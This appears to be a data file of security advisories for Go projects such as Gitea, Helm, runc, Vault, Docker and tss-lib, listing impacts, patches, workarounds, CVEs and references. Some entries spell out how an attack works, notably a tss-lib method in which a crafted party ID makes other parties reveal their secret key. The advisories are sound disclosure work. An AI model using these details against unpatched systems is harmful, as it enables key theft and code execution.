Go | GHSA-q47x-6mqq-4w92 | Improper Input Validation | repo/setting.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 does not validate the form.MirrorAddress before calling SaveAddress. | {'CVE-2019-11228'} | 2021-05-12T18:07:46Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-11228', 'https://github.com/go-gitea/gitea/releases/tag/v1.8.0-rc3', 'https://github.com/go-gitea/gitea/releases/tag/v1.7.6', 'https://github.com/go-gitea/gitea/pull/6595', 'https://github.com/go-gitea/gitea/pull/6593'} | null |
Go | GHSA-m54r-vrmv-hw33 | Improper Sanitizing of plugin names in helm | ### Impact
Security researchers at Trail of Bits discovered that plugin names are not sanitized properly. As a result, a malicious plugin author could use characters in a plugin name that would result in unexpected behavior, such as duplicating the name of another plugin or spoofing the output to `helm --help`.
### Patches
This issue has been patched in Helm 3.3.2.
### Workarounds
Do not install untrusted Helm plugins. Examine the `name` field in the `plugin.yaml` file for a plugin, looking for characters outside of the [a-zA-Z0-9._-] range. | {'CVE-2020-15186'} | 2021-11-19T15:28:38Z | 2021-05-24T16:57:12Z | LOW | null | {'CWE-20', 'CWE-74'} | {'https://github.com/helm/helm/commit/809e2d999e2c33e20e77f6bff30652d79c287542', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15186', 'https://github.com/helm/helm/commit/c8d6b01d72c9604e43ee70d0d78fadd54c2d8499', 'https://github.com/helm/helm', 'https://github.com/helm/helm/security/advisories/GHSA-m54r-vrmv-hw33'} | null |
Go | GO-2021-0087 | null | A race while mounting volumes allows a possible symlink-exchange
attack, allowing a user whom can start multiple containers with
custom volume mount configurations to escape the container.
| {'CVE-2019-19921'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/opencontainers/runc/pull/2207', 'https://github.com/opencontainers/runc/issues/2197', 'https://github.com/opencontainers/runc/commit/2fc03cc11c775b7a8b2e48d7ee447cb9bef32ad0'} | null |
Go | GO-2021-0068 | null | The go command may execute arbitrary code at build time when using cgo on Windows.
This can be triggered by running go get on a malicious module, or any other time
the code is built.
| {'CVE-2021-3115'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/golang/go/commit/953d1feca9b21af075ad5fc8a3dad096d3ccc3a0', 'https://golang.org/cl/284783', 'https://github.com/golang/go/commit/46e2e2e9d99925bbf724b12693c6d3e27a95d6a0', 'https://golang.org/cl/284780', 'https://github.com/golang/go/issues/43783'} | null |
Go | GHSA-77vh-xpmg-72qh | Clarify `mediaType` handling | ### Impact
In the OCI Image Specification version 1.0.1 and prior, manifest and index documents are not self-describing and documents with a single digest could be interpreted as either a manifest or an index.
### Patches
The Image Specification will be updated to recommend that both manifest and index documents contain a `mediaType` field to identify the type of document.
Release [v1.0.2](https://github.com/opencontainers/image-spec/releases/tag/v1.0.2) includes these updates.
### Workarounds
Software attempting to deserialize an ambiguous document may reject the document if it contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/image-spec
* Email us at [security@opencontainers.org](mailto:security@opencontainers.org)
* https://github.com/opencontainers/image-spec/commits/v1.0.2
| null | 2021-11-24T19:43:35Z | 2021-11-18T16:02:41Z | LOW | null | {'CWE-843'} | {'https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh', 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m', 'https://github.com/opencontainers/image-spec/commit/693428a734f5bab1a84bd2f990d92ef1111cd60c', 'https://github.com/opencontainers/image-spec', 'https://github.com/opencontainers/image-spec/releases/tag/v1.0.2'} | null |
Go | GHSA-4wp3-8q92-mh8w | Cross Site Request Forgery in Gitea | Cross Site Request Forgery (CSRF) vulnerability exists in Gitea before 1.5.2 via API routes.This can be dangerous especially with state altering POST requests. | {'CVE-2021-45326'} | 2022-02-14T23:01:01Z | 2022-02-09T00:00:29Z | HIGH | null | {'CWE-352'} | {'https://blog.gitea.io/2018/10/gitea-1.5.2-is-released/', 'https://github.com/go-gitea/gitea/pull/4840', 'https://github.com/go-gitea/gitea', 'https://github.com/go-gitea/gitea/issues/4838', 'https://nvd.nist.gov/vuln/detail/CVE-2021-45326'} | null |
Go | GO-2020-0023 | null | Token validation methods are susceptible to a timing side-channel
during HMAC comparison. With a large enough number of requests
over a low latency connection, an attacker may use this to determine
the expected HMAC.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/robbert229/jwt/commit/ca1404ee6e83fcbafb66b09ed0d543850a15b654', 'https://github.com/robbert229/jwt/issues/12'} | null |
Go | GHSA-8j34-9876-pvfq | Hugo can execute a binary from the current directory on Windows | ## Impact
Hugo depends on Go's `os/exec` for certain features, e.g. for rendering of Pandoc documents if these binaries are found in the system `%PATH%` on Windows. However, if a malicious file with the same name (`exe` or `bat`) is found in the current working directory at the time of running `hugo`, the malicious command will be invoked instead of the system one.
Windows users who run `hugo` inside untrusted Hugo sites are affected.
## Patches
Users should upgrade to Hugo v0.79.1. | {'CVE-2020-26284'} | 2021-05-21T18:15:45Z | 2021-06-23T17:28:26Z | HIGH | null | {'CWE-78'} | {'https://github.com/gohugoio/hugo/security/advisories/GHSA-8j34-9876-pvfq', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26284', 'https://github.com/golang/go/issues/38736'} | null |
Go | GHSA-jm56-5h66-w453 | Repository index file allows for duplicates of the same chart entry in helm | ### Impact
During a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.
To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).
### Patches
This issue has been patched in Helm 3.3.2 and 2.16.11
### Workarounds
- do not install charts from repositories you do not trust
- fetch charts using a secure channel of communication (such as TLS)
- use `helm pull` to fetch the chart, then review the chart’s content (either manually, or with `helm verify` if it has been signed) to ensure it has not been tampered with
- manually review the index file in the Helm repository cache before installing software. | {'CVE-2020-15185'} | 2021-05-24T16:47:58Z | 2021-05-24T16:57:06Z | LOW | null | {'CWE-694', 'CWE-20', 'CWE-74'} | {'https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453', 'https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc', 'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15185'} | null |
Go | GHSA-38j9-7pp9-2hjw | Invalid session token expiration | HashiCorp Vault and Vault Enterprise allowed the renewal of nearly-expired token leases and dynamic secret leases (specifically, those within 1 second of their maximum TTL), which caused them to be incorrectly treated as non-expiring during subsequent use. Fixed in 1.5.9, 1.6.5, and 1.7.2. | {'CVE-2021-32923'} | 2021-06-17T20:00:42Z | 2021-06-08T18:52:05Z | HIGH | null | {'CWE-613'} | {'https://discuss.hashicorp.com/t/hcsec-2021-15-vault-renewed-nearly-expired-leases-with-incorrect-non-expiring-ttls/24603', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32923', 'https://www.hashicorp.com/blog/category/vault/'} | null |
Go | GHSA-gp6j-vx54-5pmf | Incorrect validation of parties IDs leaks secret keys in Secret-sharing scheme | # Summary
In the threshold signature scheme, participants start by dividing secrets into shares using a secret sharing scheme. The Verifiable Secret Sharing scheme generates shares from the user’s IDs but does not properly validate them. Using a malicious ID will make other users reveal their secrets during the secret-sharing procedure. In addition, a second issue resulting from lack of validation could cause nodes to crash when sent maliciously formed user IDs.
# Details
The creation of Parties IDs does not properly validate for maliciously chosen IDs. Parties generate the secret shares in `binance-chain/tss-lib` codebase that `keep-network/keep-ecdsa` uses by evaluating the polynomial with the other parties’ IDs. It is critical that these party ids are non-zero because evaluating the polynomial at point 0 reveals the secret.
There is a check that these ids are not zero, but this is insufficient since it is not performed modulo the curve order. Therefore, one can set their ID equal to the order of the elliptic curve, which equals 0 during the polynomial evaluation modulo the curve order.
```
shares := make(Shares, num)
for i := 0; i < num; i++ {
if indexes[i].Cmp(big.NewInt(0)) == 0 {
return nil, nil, fmt.Errorf("party index should not be 0")
}
share := evaluatePolynomial(ec, threshold, poly, indexes[i])
shares[i] = &Share{Threshold: threshold, ID: indexes[i], Share: share}
}
```
(https://github.com/binance-chain/tss-lib/blob/73560daec7f83d7355107ea9b5e59d16de8765be/crypto/vss/feldman_vss.go#L64-L70)
Thus, a party with an ID equal to the order of the curve will receive the secret key as its share.
Another issue with the tss-lib implementation was the lack of verification for modularly equal user IDs that can cause nodes to crash during key generation or resharing.
# Timeline
### 6 December 2021, 20:28 CET
The team is informed by Trail of Bits about the issue in `binance-chain/tss-lib`. The vulnerability was already disclosed with Binance and they have implemented fixes in their recent commits. We are advised to update our dependency to the most recent `binance-chain/tss-lib` version.
### 7 December 2021, 9:10 CET
The team confirms with Trail of Bits we started the work on a fix.
### 7 December 2021, 20:03 CET
The team informs Trail of Bits that we found a potential problem in Binance's fix that may lead to the signing code failing with Go panic. We identified the problematic line and suggested its removal.
To address the vulnerability in the protocol, it is required to ensure that:
- all indexes are non-zero,
- all indexes are non-zero modulo the curve order,
- all indexes are unique modulo the curve order.
The first two are guarded in `CheckIndexes` function by:
```
vMod := new(big.Int).Mod(v, ec.Params().N)
if vMod.Cmp(zero) == 0 {
return nil, errors.New("party index should not be 0")
}
```
The last one is guarded by:
```
if sortutil.Dedupe(sortutil.BigIntSlice(dup)) < len(indexes) {
return nil, errors.New("duplicate in indexes")
}
```
However, `CheckIndexes` was additionally modified to update values of passed indexes by doing `indexes[i] = vMod`.
This line was not backward-compatible and caused signatures to fail with `panic: runtime error: invalid memory address or nil pointer dereference` in case the signing group was generated with at least one `PartyID.Key` higher than `ec.Params().N`. This would also be problematic for new code that constructs such `PartyID` - we tested that key generation completed successfully but signing failed with the mentioned panic.
### 8 December 2021, 12:49 CET
Trail of Bits confirmed the line we flagged is not critical to the security of the protocol.
### 8 December 2021, 15:29 CET
The team informed Trail of Bits we are planning to open a PR to `binance-chain/tss-lib` with a fix and we suggest extending the embargo for communicating this issue for one more week, until Friday, Dec 17h to give everyone more time update their code given the problem was found. We also ask Trail of Bits to get in touch with Binance to review our fix given that we are not going to provide a sufficient explanation in the commit and PR description to do not threaten the security of projects that have already upgraded their dependency.
### 8 December 2021, 18:17 CET
The team informs Trail of Bits about opening a PR https://github.com/binance-chain/tss-lib/pull/155 and explains all the details of the issue.
The problematic scenario is:
1. We start the keygen by creating `PartyID` for each member. The `PartyID` struct has `Id` and `Key` fields. We set `PartyID.Key` that is higher than the elliptic curve's `N`.
2. This goes to tss-lib which starts the round 1 code (`ecdsa/keygen/round_1.go`). It takes `PartyID.Key` of each member and assembles the `ids` slice. This slice is thrown into `CheckIndexes` which overwrites each element by doing the modulo `N`.
3. After returning from `CheckIndexes` the modified `ids` slice is used to set the `Ks` slice in the final `LocalPartySaveData` which is received by each group member as keygen final result.
4. Each member takes this `LocalPartySaveData` and saves it on disk.
5. Upon signing, we do the same as in point 1, so we construct `PartyID`s in the same way and start the protocol. At this point, `PartyID.Key` is higher than curve's `N`.
6. Before starting round 1 of signing, `LocalPartySaveData` obtained at keygen and our `PartyID`s built at point 5 are used in `BuildLocalSaveDataSubset` to build a new `LocalPartySaveData` instance.
7. `BuildLocalSaveDataSubset` is the place where things go wrong because `Key` field of each `PartyID` from point 5 doesn't correspond to encoded `Ks` elements of `LocalPartySaveData` obtained after keygen, the final `LocalPartySaveData` is corrupted, and cause panic upon validation before signing round 1.
### 8 December 2021, 21:50 CET
Trail of Bits confirms they are going to followup with Binance and they agree to extend the embargo by a week.
### 8 December 2021, 15:16 CET
Trail of Bits validates the problematic scenario we described and our fix. Trail of Bits reaches to Binance and recommends merging our fix and in addition to some other fixes that would secure the code to do not panic even if `LocalPartySaveData` has corrupted data.
### 10 December 2021, 8:16 CET
Binance merges our fix https://github.com/binance-chain/tss-lib/commit/cd95cee01ea2af6d4aa8316612803be944d5369a
### 13 December 2021, 8:35 CET
Binance applies more fixes so that even in case of `LocalPartySaveData` corrupted, the code is not going to panic.
### 15 December 2021
The team releases a new version of the client, v1.8.1, and announces the need for an upgrade.
https://github.com/keep-network/keep-ecdsa/releases/tag/v1.8.1 | null | 2022-01-04T22:41:52Z | 2022-01-06T18:30:26Z | CRITICAL | null | null | {'https://github.com/keep-network/keep-ecdsa/security/advisories/GHSA-gp6j-vx54-5pmf', 'https://github.com/keep-network/keep-ecdsa/releases/tag/v1.8.1', 'https://github.com/keep-network/keep-ecdsa'} | null |
Go | GO-2020-0022 | null | LZ4 bindings use a deprecated C API that is vulnerable to
memory corruption, which could lead to arbitrary code execution
if called with untrusted user input.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/cloudflare/golz4/commit/199f5f7878062ca17a98e079f2dbe1205e2ed898', 'https://github.com/cloudflare/golz4/issues/5'} | null |
Go | GHSA-g7v2-2qxx-wjrw | Symlink Attack in Libcontainer and Docker Engine | Libcontainer and Docker Engine before 1.6.1 opens the file-descriptor passed to the pid-1 process before performing the chroot, which allows local users to gain privileges via a symlink attack in an image. | {'CVE-2015-3627'} | 2021-05-20T16:33:03Z | 2022-02-15T01:18:02Z | MODERATE | null | {'CWE-59'} | {'https://seclists.org/fulldisclosure/2015/May/28', 'https://nvd.nist.gov/vuln/detail/CVE-2015-3627', 'https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'https://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html', 'https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'https://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html', 'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba'} | null |
Go | GHSA-cj2h-ww36-v932 | Improper Certificate Validation in HashiCorp Nomad | HashiCorp Nomad and Nomad Enterprise up to 0.10.2 incorrectly validated role/region associated with TLS certificates used for mTLS RPC, and were susceptible to privilege escalation. Fixed in 0.10.3. | {'CVE-2020-7956'} | 2021-05-13T14:53:36Z | 2021-05-18T18:20:26Z | HIGH | null | {'CWE-295'} | {'https://www.hashicorp.com/blog/category/nomad/', 'https://github.com/hashicorp/nomad/pull/7023', 'https://github.com/hashicorp/nomad/issues/7003', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7956'} | null |
Go | GHSA-mq47-6wwv-v79w | Path traversal in claircore | A directory traversal vulnerability was found in the ClairCore engine of Clair. An attacker can exploit this by supplying a crafted container image which, when scanned by Clair, allows for arbitrary file write on the filesystem, potentially allowing for remote code execution. | {'CVE-2021-3762'} | 2022-03-18T23:23:02Z | 2022-03-04T00:00:16Z | HIGH | null | {'CWE-22'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3762', 'https://github.com/quay/claircore', 'https://github.com/quay/claircore/commit/dff671c665141f126c072de8a744855d4916c9c7', 'https://bugzilla.redhat.com/show_bug.cgi?id=2000795', 'https://vulmon.com/exploitdetails?qidtp=maillist_oss_security&qid=d19fce9ede06e13dfb5630ece7f14f83', 'https://github.com/quay/clair/pull/1379', 'https://github.com/quay/claircore/commit/691f2023a1720a0579e688b69a2f4bfe1f4b7821', 'https://github.com/quay/claircore/pull/478', 'https://github.com/quay/clair/pull/1380'} | null |
Go | GHSA-cfc2-wjcm-c8fm | Incorrect Authorization with specially crafted requests | Envoy, which Pomerium is based on, contains two authorization related vulnerabilities:
- [CVE-2021-32777](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32779): incorrectly transform a URL containing a `#fragment` element, causing a mismatch in path-prefix based authorization decisions.
- [CVE-2021-32779](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32777): incorrectly handle duplicate headers, dropping all but the last. This may lead to incorrect routing or authorization policy decisions.
### Impact
With specially crafted requests, incorrect authorization or routing decisions may be made by Pomerium.
### Patches
Pomerium v0.14.8 and v0.15.1 contain an upgraded envoy binary with these vulnerabilities patched.
### Workarounds
- This issue can only be triggered when using path prefix based policy. Removing any such policies should provide mitigation.
### References
[envoy GSA CVE-2021-32777](https://github.com/envoyproxy/envoy/security/advisories/GHSA-r222-74fw-jqr9)
[envoy GSA CVE-2021-32779](https://github.com/envoyproxy/envoy/security/advisories/GHSA-6g4j-5vrw-2m8h)
[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)
* Email us at [security@pomerium.com](mailto:security@pomerium.com)
| {'CVE-2021-39206'} | 2021-09-10T16:40:43Z | 2021-09-10T17:54:25Z | HIGH | null | {'CWE-863'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-39206', 'https://github.com/envoyproxy/envoy/security/advisories/GHSA-6g4j-5vrw-2m8h', 'https://github.com/envoyproxy/envoy/security/advisories/GHSA-r222-74fw-jqr9', 'https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ', 'https://github.com/pomerium/pomerium', 'https://github.com/pomerium/pomerium/security/advisories/GHSA-cfc2-wjcm-c8fm'} | null |
Go | GO-2021-0086 | null | HTML content in mardkwon is not santized during rendering, possibly allowing
XSS if used to render untrusted user input.
| {'CVE-2019-19619'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} | null |
Go | GO-2021-0069 | null | A number of math/big.Int methods can panic when provided large inputs due
to a flawed division method.
| {'CVE-2020-28362'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/golang/go/issues/42552', 'https://go-review.googlesource.com/c/go/+/269657', 'https://github.com/golang/go/commit/1e1fa5903b760c6714ba17e50bf850b01f49135c'} | null |
Go | GHSA-g636-q5fc-4pr7 | accounts: Hash account number using Salt | @alovak found that currently when we build hash of account number we do not "salt" it. Which makes it vulnerable to rainbow table attack.
**What did you expect to see?**
I expected salt (some random number from configuration) to be used in [hash.AccountNumber](https://github.com/moov-io/customers/blob/master/pkg/secrets/hash/account_number.go#L13)
I would generate salt per tenant at least (maybe per organization). | null | 2021-05-21T22:11:53Z | 2021-05-24T17:00:27Z | LOW | null | null | {'https://github.com/moov-io/customers/security/advisories/GHSA-g636-q5fc-4pr7'} | null |
Go | GHSA-f854-hpxv-cw9r | Drainage of FeeCollector's Block Transaction Fees in cronos | ### Impact
In Cronos nodes running versions before v0.6.5, it is possible to take transaction fees from Cosmos SDK's FeeCollector for the current block by sending a custom crafted MsgEthereumTx.
User funds and balances are safe.
### Patches
This problem has been patched in Cronos v0.6.5 on the mempool level.
The next network upgrade with consensus-breaking changes will patch it on the consensus level.
### Workarounds
There are no tested workarounds. All validator node operators are recommended to upgrade to Cronos v0.6.5 at their earliest possible convenience.
### Credits
Thank you to @zb3 for reporting this issue on [Cronos Immunefi Bug Bounty Program](https://immunefi.com/bounty/cronos/), to @cyril-crypto for reproducing the issue and to @yihuang and @thomas-nguy for patching the issue on the CheckTx (mempool) and the DeliverTx (consensus) levels.
### For more information
If you have any questions or comments about this advisory:
* Open a discussion in [crypto-org-chain/cronos](https://github.com/crypto-org-chain/cronos/discussions/new)
* Email us at [chain@crypto.org](mailto:chain@crypto.org)
| {'CVE-2021-43839'} | 2022-01-06T20:21:28Z | 2022-01-06T18:30:54Z | HIGH | null | {'CWE-670'} | {'https://github.com/crypto-org-chain/cronos/pull/270', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43839', 'https://github.com/crypto-org-chain/cronos/', 'https://github.com/crypto-org-chain/cronos/security/advisories/GHSA-f854-hpxv-cw9r', 'https://github.com/crypto-org-chain/cronos/commit/150ef237b37ac28c8136e1c0f494932860b9ebe8'} | null |
Go | GHSA-c77f-4rgj-jfr4 | Cross-site Scripting in Beego | Cross Site Scripting (XSS) vulnerability exists in the admin panel in Beego v2.0.1 via the URI path in an HTTP request, which is activated by administrators viewing the "Request Statistics" page. | {'CVE-2021-39391'} | 2021-09-27T18:58:23Z | 2021-09-15T20:23:28Z | HIGH | null | {'CWE-79', 'CWE-64'} | {'https://github.com/beego/beego/issues/4727', 'https://nvd.nist.gov/vuln/detail/CVE-2021-39391', 'https://github.com/beego/beego'} | null |
Go | GHSA-qmfx-75ff-8mw6 | Listing of upload directory contents possible | There's an security issue in prosody-filer versions **< 1.0.1** which leads to unwanted directory listings of download directories.
An attacker is able to list previous uploads of a certain user by shortening the URL and accessing a URL subdirectors other than `/upload/` (or the corresponding user defined root dir)
Version 1.0.1 and later fix this problem and allow only direct file access if the full path is known. Directory listings are blocked entirely. | null | 2021-05-24T21:22:08Z | 2021-05-27T18:41:00Z | HIGH | null | null | {'https://github.com/ThomasLeister/prosody-filer/security/advisories/GHSA-qmfx-75ff-8mw6'} | null |
Go | GHSA-36h2-95gj-w488 | Open redirect in Gitea | Gitea before 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. | {'CVE-2021-45328'} | 2022-02-14T23:00:49Z | 2022-02-09T00:00:28Z | MODERATE | null | {'CWE-601'} | {'https://github.com/go-gitea/gitea', 'https://github.com/go-gitea/gitea/issues/4332', 'https://nvd.nist.gov/vuln/detail/CVE-2021-45328', 'https://blog.gitea.io/2018/06/release-of-1.4.3/'} | null |
Go | GHSA-57q7-rxqq-7vgp | On Windows, `git-sizer` might run a `git` executable within the repository being analyzed | ### Impact
On Windows, if `git-sizer` is run against a non-bare repository, and that repository has an executable called `git.exe`, `git.bat`, etc., then that executable might be run by `git-sizer` rather than the system `git` executable. An attacker could try to use social engineering to get a victim to run `git-sizer` against a hostile repository and thereby get the victim to run arbitrary code.
On Linux or other Unix-derived platforms, a similar problem could occur if the user's `PATH` has the current directory before the path to the standard `git` executable, but this is would be a very unusual configuration that has been known for decades to lead to all kinds of security problems.
### Patches
Users should update to git-sizer v1.4.0
### Workarounds
If you are on Windows, then either
* Don't run `git-sizer` against a repository that might contain hostile code, or, if you must…
* Run `git-sizer` against a bare clone of the hostile repository, or, if that is not possible…
* Make sure that the hostile repository doesn't have an executable in its top-level directory before running `git-sizer`.
If you are on Linux or other Unix-based system, then (for myriad reasons!) don't add the current directory to your `PATH`.
### References
* [Command PATH security in Go](https://blog.golang.org/path-security)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the `git-sizer` project](https://github.com/github/git-sizer).
* Email us at [GitHub support](mailto:support@github.com). | null | 2021-05-18T21:39:10Z | 2022-02-15T01:57:18Z | MODERATE | null | null | {'https://github.com/github/git-sizer/commit/38400d6ddd79325e956b00ff584cfcc8dd96d536', 'https://github.com/github/git-sizer/security/advisories/GHSA-57q7-rxqq-7vgp'} | null |
Go | GHSA-r4gv-vj59-cccm | Control character injection in console output in github.com/ipfs/go-ipfs | ### Impact
Control characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.
### Patches
<!-- _Has the problem been patched? What versions should users upgrade to?_ -->
- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)
* Email us at [security@ipfs.io](mailto:security@ipfs.io) | {'CVE-2020-26283'} | 2021-05-21T18:06:39Z | 2021-06-23T17:27:27Z | MODERATE | null | {'CWE-150', 'CWE-116'} | {'https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26283', 'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-r4gv-vj59-cccm', 'https://github.com/ipfs/go-ipfs/pull/7831'} | null |
Go | GHSA-hgwp-4vp4-qmm2 | Local Privilege Escalation in cloudflared | In `cloudflared` versions < 2020.8.1 on Windows, if an administrator has started `cloudflared` and set it to read configuration files from a certain directory, an unprivileged user can exploit a misconfiguration in order to escalate privileges and execute system-level commands. The misconfiguration was due to the way that `cloudflared` reads its configuration file. One of the locations that `cloudflared` reads from (C:\etc\) is not a secure by default directory due to the fact that Windows does not enforce access controls on this directory without further controls applied. A malformed config.yaml file can be written by any user. Upon reading this config, `cloudflared` would output an error message to a log file defined in the malformed config. The user-controlled log file location could be set to a specific location that Windows will execute when any user logs in. | {'CVE-2020-24356'} | 2021-08-02T15:19:49Z | 2021-05-24T16:56:35Z | HIGH | null | {'CWE-427'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-24356', 'https://github.com/cloudflare/cloudflared/security/advisories/GHSA-hgwp-4vp4-qmm2'} | null |
Go | GHSA-g44j-7vp3-68cv | Arbitrary File Write in Libcontainer | Libcontainer 1.6.0, as used in Docker Engine, allows local users to escape containerization ("mount namespace breakout") and write to arbitrary file on the host system via a symlink attack in an image when respawning a container. | {'CVE-2015-3629'} | 2021-05-19T22:08:41Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-59'} | {'https://nvd.nist.gov/vuln/detail/CVE-2015-3629', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3629', 'http://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html', 'http://www.securityfocus.com/bid/74558', 'https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'http://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html', 'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba', 'http://seclists.org/fulldisclosure/2015/May/28'} | null |
Go | GO-2020-0034 | null | Due to improper path santization, archives containing relative file
paths can cause files to be written (or overwritten) outside of the
target directory.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/artdarek/go-unzip/commit/4975cbe0a719dc50b12da8585f1f207c82f7dfe0', 'https://snyk.io/research/zip-slip-vulnerability', 'https://github.com/artdarek/go-unzip/pull/2'} | null |
Go | GHSA-jv9c-w74q-6762 | Insecure permissions on build temporary rootfs in Singularity | ### Impact
Insecure permissions on temporary directories used in explicit and implicit container build operations.
When a Singularity command that results in a container build operation is executed, it is possible for a user with access to the system to read the contents of the image during the build. Additionally, if the image contains a world-writable file or directory, it is possible for a user to inject arbitrary content into the running build, which in certain circumstances may enable arbitrary code execution during the build and/or when the built container is run.
### Patches
This issue is addressed in Singularity 3.6.3.
All users are advised to upgrade to 3.6.3.
### Workarounds
The issue is mitigated if `TMPDIR` is set to a location that is only accessible to the user, as any subdirectories directly under `TMPDIR` cannot then be accessed by others. However, this is difficult to enforce so it is not recommended to rely on this as a mitigation.
### For more information
General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:
* [Singularity Slack Channel](https://bit.ly/2m0g3lX)
* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)
Any sensitive security concerns should be directed to: security@sylabs.io
See our Security Policy here: https://sylabs.io/security-policy | {'CVE-2020-25040'} | 2021-05-24T16:53:16Z | 2021-05-24T16:56:23Z | HIGH | null | {'CWE-732', 'CWE-668'} | {'https://github.com/hpcng/singularity/security/advisories/GHSA-jv9c-w74q-6762', 'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00070.html', 'https://medium.com/sylabs', 'https://nvd.nist.gov/vuln/detail/CVE-2020-25040', 'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00088.html'} | null |
Go | GHSA-8w94-cf6g-c8mg | Man-in-the-Middle (MitM) | Docker before 1.3.1 and docker-py before 0.5.3 fall back to HTTP when the HTTPS connection to the registry fails, which allows man-in-the-middle attackers to conduct downgrade attacks and obtain authentication and image data by leveraging a network position between the client and the registry to block HTTPS traffic. | {'CVE-2014-5277'} | 2021-10-05T16:31:02Z | 2022-02-15T01:57:18Z | MODERATE | null | null | {'https://github.com/docker/docker', 'https://github.com/docker/docker/commit/8caacb18f8019dfda30d79c327397e5f5783c068', 'http://lists.opensuse.org/opensuse-updates/2014-11/msg00048.html', 'https://groups.google.com/forum/#%21topic/docker-user/oYm0i3xShJU', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5277', 'https://nvd.nist.gov/vuln/detail/CVE-2014-5277', 'https://groups.google.com/forum/#!topic/docker-user/oYm0i3xShJU'} | null |
Go | GHSA-hv53-vf5m-8q94 | Validation bypass vulnerability | Back in min June a security vulnerability was reported to the team, the reason for the slow response was due to ownership of some packages
was locked and we wanted to be sure to update all packages before any disclosure was released.
The issue is deemed being a Low severity vulnerability.
### Impact
This vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.
### Patches
The issue have been patched in all repositories. The following versions should be updated to as soon as possible:
C# 3.0.2
D 3.0.1
Dart 3.0.3
Elixir 3.0.0
Go 3.0.1
Java 3.3.0
JavaScript 3.1.0
Kotlin 1.1.0
Lua 3.0.1
PHP 3.0.2
Perl 3.0.0
Python 3.0.2
Ruby 3.0.1
Rust 3.0.0
Scala 3.0.1
Swift 1.0.1
If you are using any of the earlier packages, please update to latest.
### Workarounds
The issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be
000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not
000x.
### For more information
